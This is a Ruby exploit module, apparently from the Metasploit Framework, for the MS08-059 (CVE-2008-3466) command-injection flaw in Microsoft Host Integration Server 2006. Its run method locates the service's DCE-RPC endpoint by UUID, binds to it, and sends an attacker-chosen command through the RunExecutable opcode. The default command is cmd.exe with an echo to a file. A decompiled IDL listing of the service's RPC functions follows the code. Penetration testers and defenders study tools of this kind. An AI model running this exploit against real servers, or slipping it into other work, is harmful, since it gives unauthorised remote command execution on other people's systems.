180 lines
3.9 KiB
Ruby
180 lines
3.9 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::DCERPC
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft Host Integration Server 2006 Command Execution Vulnerability',
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'Description' => %q{
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This module exploits a command-injection vulnerability in Microsoft Host Integration Server 2006.
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},
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'DefaultOptions' =>
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{
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'DCERPC::ReadTimeout' => 300 # Long-running RPC calls
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'MSB', 'MS08-059' ],
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[ 'CVE', '2008-3466' ],
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[ 'OSVDB', '49068' ],
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[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=745' ],
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],
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'DisclosureDate' => 'Oct 14 2008'))
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register_options(
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[
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Opt::RPORT(0),
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OptString.new('COMMAND', [ true, 'The command to execute', 'cmd.exe']),
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OptString.new('ARGS', [ true, 'The arguments to the command', '/c echo metasploit > metasploit.txt'])
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], self.class )
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end
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def run
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dport = datastore['RPORT'].to_i
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if (dport != 0)
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print_status("Could not use automatic target when the remote port is given");
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return
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end
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if (dport == 0)
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dport = dcerpc_endpoint_find_tcp(datastore['RHOST'], 'ed6ee250-e0d1-11cf-925a-00aa00c006c1', '1.0', 'ncacn_ip_tcp')
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dport ||= dcerpc_endpoint_find_tcp(datastore['RHOST'], 'ed6ee250-e0d1-11cf-925a-00aa00c006c1', '1.1', 'ncacn_ip_tcp')
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if (not dport)
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print_status("Could not determine the RPC port used by the Service.")
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return
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end
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print_status("Discovered Host Integration Server RPC service on port #{dport}")
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end
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connect(true, { 'RPORT' => dport })
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dcerpc_handle('ed6ee250-e0d1-11cf-925a-00aa00c006c1', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
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print_status("Binding to #{handle} ...")
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dcerpc_bind(handle)
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print_status("Bound to #{handle} ...")
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cmd = NDR.string("#{datastore['COMMAND']}") + NDR.string("#{datastore['ARGS']}")
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print_status("Sending command: #{datastore['COMMAND']} #{datastore['ARGS']}")
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begin
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dcerpc_call(0x01, cmd)
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rescue Rex::Proto::DCERPC::Exceptions::NoResponse
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end
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disconnect
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end
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end
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=begin
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/*
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* IDL code generated by mIDA v1.0.8
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* Copyright (C) 2006, Tenable Network Security
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* http://cgi.tenablesecurity.com/tenable/mida.php
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*
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*
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* Decompilation information:
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* RPC stub type: inline
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*/
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[
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uuid(ed6ee250-e0d1-11cf-925a-00aa00c006c1),
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version(1.1)
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]
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interface mIDA_interface
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{
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unknown _SnaRpcService_PingServer (
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);
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/* opcode: 0x01, address: 0x01002CBB */
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small _SnaRpcService_RunExecutable (
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[in][string] char arg_1,
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[in][string] char arg_2
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);
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/* opcode: 0x02, address: 0x01002F0B */
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long _SnaRpcService_CallRemoteDll (
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[in] long arg_1,
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[in][size_is(arg_1)] byte arg_2[],
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[in] long arg_3,
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[in][size_is(arg_1)] byte arg_4[]
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);
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unknown _SnaRpcService_GetInstalledDrives (
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);
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unknown _SnaRpcService_ServiceTableUpdate (
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);
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/* opcode: 0x05, address: 0x0100363C */
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long _SnaRpcService_GetWindowsVersion (
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[in] long arg_1,
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[in, out][size_is(arg_1)] byte arg_2[]
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);
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/* opcode: 0x06, address: 0x01003942 */
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small _SnaRpcService_RunExecutableEx (
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[in][string] char arg_1,
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[in][string] char arg_2,
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[in][string] char arg_3
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);
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/* opcode: 0x07, address: 0x01003BAB */
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long _SnaRpcService_GetDLCMediaType (
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[in][string] char arg_1,
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[out][ref] long * arg_2
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);
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/* opcode: 0x08, address: 0x01003E29 */
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small _SnaRpcService_UserHasAccess (
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[in] long arg_1
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);
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/* opcode: 0x09, address: 0x01004061 */
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small _SnaRpcService_ConfigureHisService (
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[in][string] char arg_1
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);
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/* opcode: 0x0A, address: 0x01004272 */
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small _SnaRpcService_ConfigureServiceAccount (
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[in][string] char arg_1
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);
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}
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=end
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